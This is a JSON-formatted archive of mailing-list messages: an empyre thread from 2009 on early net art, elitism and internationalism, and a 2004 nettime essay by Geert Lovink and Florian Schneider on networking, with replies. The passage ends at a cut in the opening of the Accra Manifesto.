                                        "content": "Some lurker thoughts-\n\nIt is interesting to see a reference to 'art ghetto', since may of us  \npractitioners are so keenly aware of a \"technology art ghetto\" (or  \nshould I say being ghettoized by the mainstream art world?). Art  \nhistory, art as a category, is a contested space which, as Duchamp  \ndemonstrated, is designated, not only by artists but by institutions  \nin power. I can remember when one of my favorite critics, Rosalind  \nKrauss, attacked digital multimedia as not having a recursive history,  \na strangely conservative attack, which is now nolonger true for an  \naging net art. Another attack came from Nicolas Bourriaud, who  \noutlined I think a very important theoretical model for net art in  \nrelational aesthetics. Painting makes no excuses for self-reference  \nsince it is, along with other media, firmly in the elite.\n\nWill Pappenheimer\nAssistant Professor, Digital Art\nPace University, New York\nwpappenheimer at pace.edu\nhttp://www.willpap-projects.com\ncell: 347-526-5302\n\n\n\n\nOn Oct 16, 2009, at 8:24 PM, Anna Munster wrote:\n\n>\n> Ok - got it!\n> Kazys wrote:\n>\n> <Both High-low/internal vs. Cool/Uncool/transdisciplinarity are  \n> reflections of the same transition to network culture.>\n>\n> however, I would still ant to maintain that relative to the period  \n> in which they ere working, '90s net artists were not necessarily  \n> elite. I don't think small or niche = elite. The question of access  \n> and mass has taken on a renewed medial push in the age of 'hits' and  \n> their registering. This links up to Anne's points about the ways in  \n> which search engines produce forms of identity. Likewise algorithms.\n>\n> One thing we might be forgetting about that early net art was its  \n> internationalism - alot of it came out of eastern europe and the  \n> balkans especialy and was very much connected with early net radio  \n> and its relations to Dutch net culture. A number of people,  \n> Stallabrass included, have remarked on the net art movement as one  \n> of the truly international art movements of the late 20th century.  \n> For me, this alone takes that work out of some 'art ghetto' and  \n> makes it concerned with a lot more than avant-gardism...\n>\n> best\n> Anna\n\n",
                                        "date": "Sat Oct 17 13:13:51 EST 2009",
                                        "message-id": "2079",
                                        "url": "http://lists.cofa.unsw.edu.au/pipermail/empyre/2009-October/002079.html",
                                        "content-type": "n/a",
                                        "author_name": "Will Pappenheimer",
                                        "subject": "[-empyre-] 'real' networked art"
                                    },
                                    {
                                        "from": "tcm1 at cornell.edu",
                                        "id": "2080",
                                        "content": ">Thanks, Anna, for stressing the internationalism of 'early' net art, \n>particularly its Eastern European and Balkan flavor.  Your post made \n>me think fondly of a project I did in Slovenia with Teo Spiller in \n>99-2000 for INFOS 2000, for which we ran an international net.art \n>competition.   I believe that I've posted before on this, but the \n>conceit was that artists had to agree to permit their work to be \n>copied and disseminated off-line on CD-Roms that were distributed \n>for free both to Slovenian technology fair, INFOS 2000, and to \n>international alternative media centers (with the aim of reaching \n>audiences lacking home high speed connections).   This ended up \n>being a very interesting experiment that generated  widespread \n>international participation.  There's still our account of this on \n>http://art.teleportacia.org/kunstkammer/webart.html.\n\n\n>  \"Internationalism\" was also the driving force of CTHEORY \n>MULTIMEDIA.  I don't think anyone working in these venues were \n>particularly worried about establishing an art ghetto.  Rather there \n>was extreme enthusiasm about working outside of the conventional \n>gallery-museum network with the hope of reaching an alternative \n>audience.  Of course things have become more conventionalized over \n>time, but generally the artists working on these exhibitional \n>efforts tended to be committed to the kind of collaboration that \n>typifies -empyre-.\n\n>  Interestingly, this is the same spirit that has grown the Rose \n>Goldsen Archive of New Media Art, with the majority of the general \n>'collection' having come voluntarily from international artists \n>committed to the communal notion of a new media archive.   I like to \n>think that the spirit lives on.\n\n\nBest,\n\nTim\n\n>Ok - got it!\n>Kazys wrote:\n>\n><Both High-low/internal vs. Cool/Uncool/transdisciplinarity are \n>reflections of the same transition to network culture.>\n>\n>however, I would still ant to maintain that relative to the period \n>in which they ere working, '90s net artists were not necessarily \n>elite. I don't think small or niche = elite. The question of access \n>and mass has taken on a renewed medial push in the age of 'hits' and \n>their registering. This links up to Anne's points about the ways in \n>which search engines produce forms of identity. Likewise algorithms.\n>\n>One thing we might be forgetting about that early net art was its \n>internationalism - alot of it came out of eastern europe and the \n>balkans especialy and was very much connected with early net radio \n>and its relations to Dutch net culture. A number of people, \n>Stallabrass included, have remarked on the net art movement as one \n>of the truly international art movements of the late 20th century. \n>For me, this alone takes that work out of some 'art ghetto' and \n>makes it concerned with a lot more than avant-gardism...\n>\n>best\n>Anna\n>_______________________________________________\n>empyre forum\n>empyre at lists.cofa.unsw.edu.au\n>http://www.subtle.net/empyre\n\n\n-- \nTimothy Murray\nDirector, Society for the Humanities\nhttp://www.arts.cornell.edu/sochum/\nCurator, The Rose Goldsen Archive of New Media Art, Cornell Library\nhttp://goldsen.library.cornell.edu\nProfessor of Comparative Literature and English\nA. D. White House\nCornell University\nIthaca, New York 14853\n",
                                        "date": "Sat Oct 17 14:58:48 EST 2009",
                                        "message-id": "2080",
                                        "url": "http://lists.cofa.unsw.edu.au/pipermail/empyre/2009-October/002080.html",
                                        "content-type": "n/a",
                                        "author_name": "Timothy Murray",
                                        "subject": "[-empyre-] 'real' networked art"
                                    },
                                    {
                                        "from": "I.Clothier at witt.ac.nz",
                                        "id": "2082",
                                        "content": "Probably I have missed one or two heartbeats in this discussion, but it would be good to return to the contention that time might be of greater relevance to net art, and digital media context in general.\n\nAn abbreviated wish list for context, which will be presented more fully at re:live would be:\n\n1. Context that is current.\n\n2. Context that is media independent. \nMuch context to date is dependent on the media that is under discussion however there must be a context on practice that is not limited by media. Everyone knows that net.art is not a category like 'sculpture' but we currently persist in media associated context. \n\n3. Context that is not necessarily anchored in a sense of place. \nThis is necessary because media practice is occurring within, beyond and in-between the art/museum institution and the broader spacetime of social communication media and it\u2019s adjuncts. Social communication media are driving creative possibilities rather than vice versa. \n\n4. Context that is relevant multi-culturally. Really important in global context, many are all a little tired of Western only context.\n\n5. Context that is shared. Rather than singular contextual identity (Foucault, Baudrillard, Hayles, Manovich) context is provided by several simultaneously (us).\n\nCurt Cloninger posted to the new media curating list a possible framework based on time, which are sufficient to actualise a hybrid post modern, inter-cultural and contemporary context:\n\n\"Some scales of speed simultaneously at play in The Art Formerly Known as Time-Based:\n\n1. The time it takes the actual media art object to play out (as Jon Thompson noted -- a decaying sculpture, a perpetually updated data cloud). \n categorically problematic is aleatoric software (like Brian Eno's \"77 Million Paintings\") which perpetually runs with enough generative variability to keep from ever \"looking\" like the same thing twice (although arguably it is performing the same perpetual function at an algorithmic level).\n\n2. The Cartesian clock time that the discrete viewer/user actually spends viewing/interacting with the work in the space (three seconds, 30 minutes, or whatever).\n\n3. The more subjective Bergsonian time (analog, non-digital, qualitative not quantitative) that the discrete viewer spends affectively experiencing the work (could involve personal prior memories, could involve the work coming to mind later after leaving the space). This is related to the Cartesian clock time, but by no means solely determined by it.\n\n4. The time that the entire show or project runs.\n\n5. Archival time -- how the work is archived, collected, subsequently displayed, gradually folded into an art historical canon.\n\n6. The evolutionary time of art criticism and art historical scholarship (and its overlap with philosophy, science, culture theory, etc.)\n\n7. The evolutionary time of an art practice throughout an artist's life.\n\n8. Curatorial research time.\n\n9. Institutional evolutionary time -- the time it takes art institutions to come to terms with and incorporate new media forms (or new conceptual approaches to old media forms).\n\nBest\n\nIan M Clothier\nDirector \nIntercreate Research Centre\nintercreate.org\nianclothier.com\n\n\n\n-----Original Message-----\nFrom: empyre-bounces at lists.cofa.unsw.edu.au on behalf of Timothy Murray\nSent: Sat 10/17/2009 4:58 PM\nTo: soft_skinned_space\nSubject: Re: [-empyre-] 'real' networked art\n \n>Thanks, Anna, for stressing the internationalism of 'early' net art, \n>particularly its Eastern European and Balkan flavor.  Your post made \n>me think fondly of a project I did in Slovenia with Teo Spiller in \n>99-2000 for INFOS 2000, for which we ran an international net.art \n>competition.   I believe that I've posted before on this, but the \n>conceit was that artists had to agree to permit their work to be \n>copied and disseminated off-line on CD-Roms that were distributed \n>for free both to Slovenian technology fair, INFOS 2000, and to \n>international alternative media centers (with the aim of reaching \n>audiences lacking home high speed connections).   This ended up \n>being a very interesting experiment that generated  widespread \n>international participation.  There's still our account of this on \n>http://art.teleportacia.org/kunstkammer/webart.html.\n\n\n>  \"Internationalism\" was also the driving force of CTHEORY \n>MULTIMEDIA.  I don't think anyone working in these venues were \n>particularly worried about establishing an art ghetto.  Rather there \n>was extreme enthusiasm about working outside of the conventional \n>gallery-museum network with the hope of reaching an alternative \n>audience.  Of course things have become more conventionalized over \n>time, but generally the artists working on these exhibitional \n>efforts tended to be committed to the kind of collaboration that \n>typifies -empyre-.\n\n>  Interestingly, this is the same spirit that has grown the Rose \n>Goldsen Archive of New Media Art, with the majority of the general \n>'collection' having come voluntarily from international artists \n>committed to the communal notion of a new media archive.   I like to \n>think that the spirit lives on.\n\n\nBest,\n\nTim\n\n>Ok - got it!\n>Kazys wrote:\n>\n><Both High-low/internal vs. Cool/Uncool/transdisciplinarity are \n>reflections of the same transition to network culture.>\n>\n>however, I would still ant to maintain that relative to the period \n>in which they ere working, '90s net artists were not necessarily \n>elite. I don't think small or niche = elite. The question of access \n>and mass has taken on a renewed medial push in the age of 'hits' and \n>their registering. This links up to Anne's points about the ways in \n>which search engines produce forms of identity. Likewise algorithms.\n>\n>One thing we might be forgetting about that early net art was its \n>internationalism - alot of it came out of eastern europe and the \n>balkans especialy and was very much connected with early net radio \n>and its relations to Dutch net culture. A number of people, \n>Stallabrass included, have remarked on the net art movement as one \n>of the truly international art movements of the late 20th century. \n>For me, this alone takes that work out of some 'art ghetto' and \n>makes it concerned with a lot more than avant-gardism...\n>\n>best\n>Anna\n>_______________________________________________\n>empyre forum\n>empyre at lists.cofa.unsw.edu.au\n>http://www.subtle.net/empyre\n\n\n-- \nTimothy Murray\nDirector, Society for the Humanities\nhttp://www.arts.cornell.edu/sochum/\nCurator, The Rose Goldsen Archive of New Media Art, Cornell Library\nhttp://goldsen.library.cornell.edu\nProfessor of Comparative Literature and English\nA. D. White House\nCornell University\nIthaca, New York 14853\n_______________________________________________\nempyre forum\nempyre at lists.cofa.unsw.edu.au\nhttp://www.subtle.net/empyre\n\n\n\n\n-------------- next part --------------\nA non-text attachment was scrubbed...\nName: not available\nType: application/ms-tnef\nSize: 6688 bytes\nDesc: not available\nUrl : https://mail.cofa.unsw.edu.au/pipermail/empyre/attachments/20091017/0073311e/attachment.bin \n",
                                        "date": "Sat Oct 17 15:34:28 EST 2009",
                                        "message-id": "2082",
                                        "url": "http://lists.cofa.unsw.edu.au/pipermail/empyre/2009-October/002082.html",
                                        "content-type": "n/a",
                                        "author_name": "Ian Clothier",
                                        "subject": "[-empyre-] 'real' networked art"
                                    }
                                ],
                                "subject": "[-empyre-] 'real' networked art"
                            }
                        ],
                        "subject": "[-empyre-] 'real' networked art"
                    },
                    {
                        "from": "ebp at shaw.ca",
                        "id": "2063",
                        "content": "Julie\nhere is a chapter from Anna Munster's new book\nits all about ...embodied perception !!!!\n\nhttp://varnelis.networkedbook.org/the-immediated-now-network-culture-and-the-poetics-of-reality/\n\nits on that site that I sent under Anna Munster\n\nPaul\nOn 13-Oct-09, at 3:08 AM, Anna Munster wrote:\n\n> Kazys, I'd like to move now to some more engagement with your actual  \n> chapter contribution: 'The Immediated Now: Network Culture and the  \n> Poetics of Reality' (http://varnelis.networkedbook.org/the-immediated-now-network-culture-and-the-poetics-of-reality/ \n> )\n>\n> In this chapter you marks a distinction between earlier network art  \n> (Bunting, Shuglin, odi.org et al) and the 'web 1.0' period  during  \n> which there was a  preoccupation with the medium of t e net itself  \n> among many artists (using the properties of html code  etc) and  \n> today's networked culture in which everything is networked or rather  \n> the network is dispersed diffusely throughout all aspects of  \n> culture. Your position (sorry to simplify!) is that the reality of a  \n> networked world becomes a preoccupation itself, in fact a kind of    \n> preoccupation with the 'reality' of media. In turn, this leads to a  \n> set of cultural/artistic tactical manoeuvres:\n>\n> \"On the contrary, the fascination with the real in \u201creality\u201d media,  \n> be it reality TV, amateur-generated content, or professional \u201cart\u201d  \n> is constructed around specific tactics: self-exposure, information  \n> visualization, the documentarian turn, remix, and participation.\"\n>\n> However, I 'd also point to the 'big' statement by net artists of  \n> the '90s encapsulated by jodi's comment: 'Net artists live on the  \n> net'.( that's a paraphrase btw). So, I'd contend that in fact this  \n> preoccupation with the 'real' of networking actually begins with  \n> these earlier artists and that it might be something of a false  \n> (although currently fashionable) position to institute too much of a  \n> break  at least in terms of aesthetics  between earlier and  \n> contemporary network cultures.\n>\n> Just wondering what your response to this might be...\n>\n> best\n> Anna\n>\n>\n>\n> A/Prof. Anna Munster\n> Director of Postgraduate Research (Acting)\n> Deputy Director Centre for Contemporary Art and Politics\n> School of Art History and Art Education\n> College of Fine Arts\n> UNSW\n> P.O. Box 259\n> Paddington\n> NSW 2021\n> 612 9385 0741 (tel)\n> 612 9385 0615(fax)\n> a.munster at unsw.edu.au\n> _______________________________________________\n> empyre forum\n> empyre at lists.cofa.unsw.edu.au\n> http://www.subtle.net/empyre\n\n",
                        "date": "Wed Oct 14 02:15:22 EST 2009",
                        "message-id": "2063",
                        "url": "http://lists.cofa.unsw.edu.au/pipermail/empyre/2009-October/002063.html",
                        "content-type": "n/a",
                        "author_name": "Paul Woodrow",
                        "subject": "[-empyre-] 'real' networked art"
                    }
                ],
                "message-id": "2061",
                "date": "Tue Oct 13 20:08:24 EST 2009",
                "list": "empyre",
                "author_name": "Anna Munster",
                "subject": "[-empyre-] 'real' networked art"
            },
            {
                "id": "00099",
                "content": "\nNotes on the State of Networking\n\nBy Geert Lovink and Florian Schneider\n\nFebruary 2004\n\n(Written for the free theory paper Make World #4, printed in 10,000 copies\nand distributed at the Neuro-Networking in Europe-festival in Munich. URL:\nwww.makeworlds.org).\n\n\nNo longer the society, the political party or even the movement, networks\nare the emerging form of organization of our time. By marching through the\ninstitutions the idea of networking has lost its mysterious and subversive\ncharacter. Sandpapered by legions of consultants, supervisors, and\nsociologists, as a buzzword networking superseded the latest fashions of\nsustainability, outsourcing, and lean organization.\n\nThe hype of networks reveals a conceptual crisis of collaboration and\ncooperation. Yet, the confusing aspect of networking is the fact that\nlarge formations of power apparently defy networks. Business and other\nlarge institutions are still in the process of opening up. The\nintroduction of computer networks within organizations over the past\ndecade has changed work flows but hasn't reached the level of decision\nmaking. In this period of transition and consolidation we get confusing\nanswers to the question whether 'new media' are part of mainstream pop\nculture. Whereas it is easy to see that networks have become the dominant\nmode of power, this is still not the case for 'power' in the narrow sense.\nThis is why the call for openness, transparency and democracy, on both\nmicro and macro-levels, still potentially contains progressive elements\nand should be seen as a counterpart to popular conspiracy theories.\n\nA radical critique of the information society implies analyzing the\npassages from the state of territory and the state of population to the\nstate of a networked globality or: Info-Empire. It is not adequate to\nanalyse this with Debord's Society of the Spectacle. The networking\nparadigm escapes the centrality of the icon to visual culture and its\ncritics and instead focuses on more abstract, invisible, subtle processes\nand feedback loops. There is nothing spectacular about networking. And\nthis is exactly why most of the leading theorists are not aware of the\ncurrent power transformations. They still sit in front of the television\nand watch the news or a rental VHS-perhaps they have even bought a DVD\nplayer by now.\n\nThe networking paradigm marks the threshold of postmodernity and\ncharacterizes the global governance scenarios of Info-Empire. This\nthreshold was crossed when digital communications appeared in the\npolitical scene and created a notion of the global that is essentially\ndifferent from the predominant values of 'solidarity' in internationalism\nor 'multiplicity' in trans-national corporations. Without referring to\ninferior sentiments or noble feeling, a nuclear strike force or massive\ndrug abuse it was suddenly possible, to think global in absolutely\nun-pathetic ways.\n\nRather than a simple application to improve life or increase efficiency\nlife becomes intrinsically networking and networking comes alive as\nunconditional attribute of social existence.\n\nThe ultimate goal of networking has been, and still is, to free the user\nfrom the bonds of locality and identity. Power responds to the pressure of\nincreasing mobility and communications of the multitudes with attempts to\nregulate them in the framework of traditional regimes that cannot be\nabandoned, but need to be reconfigured from scratch and recompiled against\nthe networking paradigm: borders and property, labour and recreation,\neducation and entertainment industries undergo radical transformations.\nAlthough the promise of liberation still lures, and works at times,\nshifting geographies and social layers, an identity backflip has occurred.\nIts pretty hard these days to be a dog on the Internet. There never was\nsomething like privacy on the Net, but after 9.11 things definitely\nreached a new level. And once again, theory runs behind the facts or it is\nsatisfied with great gestures that occupy the moral high ground but reveal\nnothing but powerlessness.\n\nWhen within the nation state techniques of localization and\nidentification, communication surveillance and motion control have been\ntemporarily suspended it was the direct result of the social struggles of\na mass of individuals against the corruption of state sovereignty. Within\nthe 'state of networking' these techniques and technologies tend to become\nredundant. Furthermore Info-Empire is constituted by including and\nsimultaneously excluding the tracks of localized and identifiable life.\n\nInternet research, now having reached its ethnographic phase, has great\ndifficulties in catching up conceptually, let alone provide us with\nspeculative visions that capture the permanent flux of global immaterial\nlabour.\n\nThe classical dichotomies of public/private, global/local, etc. become\nuseless and even obsolete. These binaries are replaced by flexible\nattitudes of managing singularities and fluid differences: rather than\nchallenging power networking environments act as carriers for virtual\nself-management and self-control, up to the point of crashing. Networked\nenvironments are inherently unstable and its temporality is key, much like\nevents. Networks are dense social structures on the brink of collapse and\nit is questionable if there are sustainable models that can 'freeze' them.\n\nMaybe it is better to understand networking as a syncope of power, a\ntemporary loss of consciousness and posture, rather than a panacea against\ncorruption, commodification, resentment and the general dumbness of\ntraditional hierarchies. The result of networking often is a rampant will\nto powerlessness that escapes the idea of collective progress under the\npretext of participation, fluidity, escapism and over-commitment.\n\nParticipants easily get lost in the overload of email messages, weblogs\nand chat exchanges. The subjective feeling, having to swim against a tidal\nwave of noise and random tension, can no longer be explained by a lack of\nmedia literacy. Software and interface solutions can be helpful, but often\nonly temporarily assist users to get a handle of complex information\nflows. This often results in the abandoning of collective communication,\nsomewhere half-way, leaving the online participants with the\nunsatisfactory feeling that the online conversation got stuck, unable to\nreach a conclusion. After an exciting first phase of introductions and\ndebates, networks are put to the test: either they transform into a body\nthat is capable to act, or they remain stable on a flatline of information\nexchange, with the occasional reply of an individual who dares to\ndisagree.\n\nAt the same time we are facing a backlash towards romantic and outdated\nforms of representation, hierarchies and command on many terrains. Due to\nthe 'conceptual wall' that online communities often find hard to cross,\nclassic 'informal' forms of representation fill up the gap. This is part\nof a larger process of 'normalization' in which networks are integrated in\nexisting management styles and institutional rituals.\n\nBut the progress of networking technologies is not that linear or\nunstoppable, as it appears in the techno-naivety of some NGO's. It is\noften hard to admit that the realm of power (agenda setting,\ndecision-making) exists relatively autonomous of the techno-sphere as B2B\n(\"breast to breast\") meetings. Instead, we would all love to believe that\ndecentralized networks somehow dissolves power, over time. Meanwhile,\nnetworking environments also create specific dispositives, that are\ncoordinating new forms of power and that consist of a variety of elements.\nTo research these new statements, norms, standardizations, practices and\ninstitutions as an ensemble that organizes the transactions from power to\nknowledge and knowledge to power goes far beyond the current talk about\nthe information society as well as the attempts to find and replace\ninformation with knowledge or any attempt to locate and identify an object\nof networking, let alone a purpose.\n\nIn retrospect, one can say that the radical critique of the information\nsociety does not yet exist. That was the lesson of the World Summit of the\nInformation Society (WSIS), held in December 2003 in Geneva. There is the\nNGO civil society story about human rights and unequal access, but that's\nit. What's so weak about this approach is it's charity mentality: please\ndonate us some computers and share some of your bandwidth. What is lacking\nis an informed autonomist perspective. Let's say, an 'Empire' for the\nInternet generation. This programmatic work should have been written\nduring the raving nineties. Instead, we got stuck with remnants of the '68\ngeneration, and the mess they made, characterized by this particular blend\nof utopia, violence and sell-out. In the past decade collective work on\nideas has been replaced by informal networking, a move away from politics\ntowards culture and the arts, shifting the focus towards software,\ndesigning interfaces. and just playing around. Instead of blaming the\n'nettime' generation one could also stress that theory can only grow out\nof reflected experiences. In that sense we might be too impatient. The\nquestion should rather be: how can theory come into being in an age of\nreal-time events?\n\nWSIS made evident that there are only few forces willing and able to\nanalyse and then criticize the 'information society' concept. The air in\nGeneva was filled with the spirit of network naivety-no matter on what\nside. Both the hegemonic and the alternative view of the information\nsociety is characterized by a persistent transcendentalism, as if the\nspread of ICT would increase development, as if access to the Internet\nwould improve living conditions, as if free software would override\ncapitalism, as if file sharing equals altruism, as if open publishing\nwould promote democracy.\n\nInstead of endlessly deconstructing the 'New Economy meets NGOs' agendas,\nwe believe it the task of the next media activists to investigate the\nlimits of networking in order to be in a better position to overcome those\nboundaries. This era is blinded by the light. As technologies are still an\nexpanding universe it is hard to see its limits, to recognize its damages,\nwithout falling back into technophobia and cultural pessimism.\n\nQuixotic projects and idealism pervaded the rhetoric of the vast majority\nof those who have not ignored the summit. That was the disappointment of\nthe WSIS process but it did not really come as a surprise. But what could\nit mean to put the information society under a radical critique? One has\nto track down the material basis of information and communication in order\nto turn the whole discourse downside up. For instance one could research\nthe impact of precarious and migrant labour in hardware and software\nindustries, within the service sector such as the call centres, with its\ntemporary workers. This means to tear down the exclusive notion of\ninformation as something ephemeral, spiritual and immaterial, and reveal\nthe dirty side of the technology.\n\nIt would be a mistake to look at this other or, better to say, the real\ninformation society with an attitude of charity and to commiserate these\npoor things who have to work so damned hard that we can play with ever\ncheaper computers. Often this perspective comes along with a romantic,\nanti-technological attitude or full of ignorance and resentment against\ninformatization, de-regularisation and globalization. These processes that\nare constituting the current situation are direct and indirect results of\nstruggles (against the working day, for a better living, at for least a\njob etc.) that are disconnected and abstracted from a common, daily\nexperience.\n\nA radical critique always implies practical consequences. There is no\nother way out of the intellectual stagnation than to stage unlikely\nencounters and unexpected alliances, between coders and solders, activists\nand researchers, artists and unionists. We have to bring on irrelevant\nmoments and leave the programmed density of the event-time for what it is.\n\nShouldn't a radical critique of the information society in the first\ninstance confront the common notion of sovereignty and it's mediatisation\nwith something that reaches out beyond the increasing banality of\nnetworking? What happens after the excitement of encounter has faded away?\nShould the motor of creativity and subversion continue to be supplied with\nan ever-changing focus on yet to-be discovered, soon to be exploited\ncultural differences?\n\nDoes it make sense, as a possible way out, to demand a 'cultural\nexception' for the digital commons? How can the making of a digital public\ndomain be pushed out of beta, beyond the usual 'revolution or reform'\nchoice? The digital commons obviously have left the sandbox and are\nout-there, in the wide world. As a 'high potential' meme the digital\ncommons is growing at a pace way beyond the worthy Gutenberg project,\nwhich, in the thirty years or more of its existence has only added 10,000\nbook titles to the public domain. But this is exactly why digital commons\nis a potentially fragile concept. It involves risk taking, in terms of\ncivil disobedience. It asks of digital artisans to take a firm stand when\nthey negotiate with publishers and distributors. The creative multitudes\nhave to wake up out their numbed state and have the courage to refuse. No\nmore bad contracts. Don't sign away your rights. To publish under the\ncreative commons licence is the very least one can do. This shift not only\nrequires public awareness; it also needs 'best practices' stories of those\nwho stood up and actually tore up contracts. A critical mass of IP-\nrefuseniks will only come into being if such individual stories can find\nthe public forums and inspire people to say no. Otherwise it will remain\neveryone's individual problem.\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "to": "\"Nettime-l\" <nettime-l {AT} bbs.thing.net>",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0402/msg00099.html",
                "list": "nettime_l",
                "author_name": "geert lovink",
                "subject": "<nettime> The State of Networking (with Florian Schneider)",
                "from": "\"geert lovink\" <geert {AT} xs4all.nl>",
                "follow-up": [
                    {
                        "from": "Benjamin Geer <ben {AT} socialtools.net>",
                        "content": "\ngeert lovink wrote:\n> After an exciting first phase of introductions and\n> debates, networks are put to the test: either they transform into a body\n> that is capable to act, or they remain stable on a flatline of information\n> exchange, with the occasional reply of an individual who dares to\n> disagree.\n\nMaybe this is because those people are using the wrong tools for the \njob.  If you don't know what you want to do, you can't select the right \ntools.  Rather than set up a network as a tool for 'bringing people \ntogether' or some such vague idea, and then hope that the participants \nwill then find some way to act, I think it would make more sense to \nfirst decide exactly which action you want to take -- what work you want \nto do -- and then decide which tools (software, networks, organisational \nprocesses) could help you do that work.  *Then* set up the tools and \nstart using them.\n\nBen\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00102",
                        "date": "Sun, 29 Feb 2004 11:50:15 +0000",
                        "to": "Nettime-l <nettime-l {AT} bbs.thing.net>",
                        "message-id": "200402291200.i1TC0kf30870 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0402/msg00102.html",
                        "content-type": "text/plai",
                        "author_name": "Benjamin Geer",
                        "subject": "Re: <nettime> The State of Networking (with Florian Schneider)"
                    },
                    {
                        "from": "\"auskadi {AT} tvcabo.co.mz\" <auskadi {AT} tvcabo.co.mz>",
                        "content": "\nBenjamin Geer wrote:\n\n>geert lovink wrote:\n>  \n>\n>>After an exciting first phase of introductions and\n>>debates, networks are put to the test: either they transform into a body\n>>that is capable to act, or they remain stable on a flatline of information\n>>exchange, with the occasional reply of an individual who dares to\n>>disagree.\n>>    \n>>\n>\n>Maybe this is because those people are using the wrong tools for the \n>job.  ..............\n>\n>Ben\n>\n>  \n>\nI am actually tending to wonder whether this is because people feel \nbound to the rules or mantras that the networks where originally founded \nin relation to. Like the Floss rules set out in Freedom 0 Freedom 1 etc \netc. Decisions on network architectures seem to be bound by principles \nthat don't allow space for politics. Everything gets sucked back into \nthe rational consesnus and that individual who seeks to disagree appears \nas a loony who doesnt understand the freedoms inherent in the network \nstructures. To borrow from the Negrian dictionary  the networks becomes \n\"constituted\" by the tenents of for example correct Floss philosophy, \nand cease to be \"constituent\".\n\nI am thinking out loud here on nettime.\n\nMartin\n\n\n-- \n\"the riddle which man must solve, he can only solve in being, in \nbeing what he is and not something else....\"\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00106",
                        "date": "Sun, 29 Feb 2004 16:33:01 +0100",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "200403011247.i21Cloi05239 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0402/msg00106.html",
                        "content-type": "text/plai",
                        "author_name": "auskadi {AT} tvcabo.co.mz",
                        "subject": "Re: <nettime> The State of Networking (with Florian Schneider)"
                    },
                    {
                        "from": "\"Michael Gurstein\" <mgurst {AT} vcn.bc.ca>",
                        "content": "\n\nInteresting piece Geert and Florian...\n\nRight question/wrong answer...\n\nThe problem with \"Internet Research/theory\" is that the ICT theory (and\nresearch) folks see ICTs as a tool rather than as a basis for a\nfundamental transformation including in relations of production/power.\nSo they miss the forest for the trees...\n\nYou folks are making the opposite mistake with \"networks\", seeing\n(asking questions about) networks as fundamentally transformative social\nsolvents, rather than seeing networks as (social) \"tools\" and then doing\nsome sort of analysis on what those (newly empowered) tools are being\nused for or not being used for--missing the trees while contemplating\nthe forest...  How, for what and under what conditions are networks\nbeing/could be used...\n\nAn increase in the scope and range and force of networking certainly is\none outcome of the introduction of ICT's but so is the increase in the\ncapacity for surveillance, destructive autarchy, and \"armies of one...\".\n\nAs the National Networks Association so aptly puts it, networks don't\n(kill/empower/enrich... take your pick...), its what is done with them\nby the people who use them... \n\nMG\n\n-----Original Message-----\nFrom: nettime-l-request {AT} bbs.thing.net\n[mailto:nettime-l-request {AT} bbs.thing.net] On Behalf Of geert lovink\nSent: Sunday, February 29, 2004 3:53 AM\nTo: Nettime-l\nSubject: <nettime> The State of Networking (with Florian Schneider)\n\n\nNotes on the State of Networking\n\nBy Geert Lovink and Florian Schneider\n\nFebruary 2004\n\n(Written for the free theory paper Make World #4, printed in 10,000\ncopies and distributed at the Neuro-Networking in Europe-festival in\nMunich. URL: www.makeworlds.org).\n\n\nSNIP / nettime-l mod\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00107",
                        "date": "Sun, 29 Feb 2004 11:55:38 -0500",
                        "to": "\"nettime\" <nettime-l {AT} bbs.thing.net>",
                        "message-id": "200403011254.i21CsGM05261 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0402/msg00107.html",
                        "content-type": "text/plai",
                        "author_name": "Michael Gurstein",
                        "subject": "FW: <nettime> The State of Networking (with Florian Schneider)"
                    }
                ],
                "message-id": "200402290931.i1T9VA629356 {AT} bbs.thing.net",
                "date": "Sun, 29 Feb 2004 09:52:38 +0100",
                "content-type": "text/plai"
            }
        ],
        "desc": "..."
    },
    "MANIFESTO": {
        "lists": [
            {
                "content-type": "text/plai",
                "from": "geert <geert@xs4all.nl>",
                "content": "From: barlow@eff.org\n\nThe Accra Manifesto\nAccra, Ghana\nTuesday, March 12, 2002 (revised Wed. March 13, 2002)\n\n Since its beginnings, Cyberspace has provided new approaches for the\n benign ordering of human affairs. As we begin to develop institutions\n to govern the digital world, we must avoid returning to industrial\n models that have generally failed in the analog world to assure\n equity, liberty, and human inclusion. Instead, let us build upon the\n promise of what has already proven effective in this social\n experiment.\n\n The paramount governing values that have so far emerged in this grand\n collective enterprise are openness, inclusion, technical\n practicality, emergent form, decentralization, transparency,\n tolerance, diversity, and a fierce willingness to defend free\n expression and the preservation of identity.  These are appropriate\n values. They are working.\n\n They should be allowed to go on working, both in the eventual systems\n for allocating domain names and numbers and in all other matters of\n Cyberspace governance. Neither the current operations of ICANN nor\n the current proposal put forward by its president appear to place\n much faith in them.\n\n Cyberspace has thus far been an environment where architecture is\n politics. ICANN has turned this practical formulation on its head by\n attempting to make politics architecture.\n\n To assist in designing a governing process that will promote these\n values and thus direct us toward the future and away from the past\n the undersigned propose the following to the ICANN meeting in Accra:\n\n 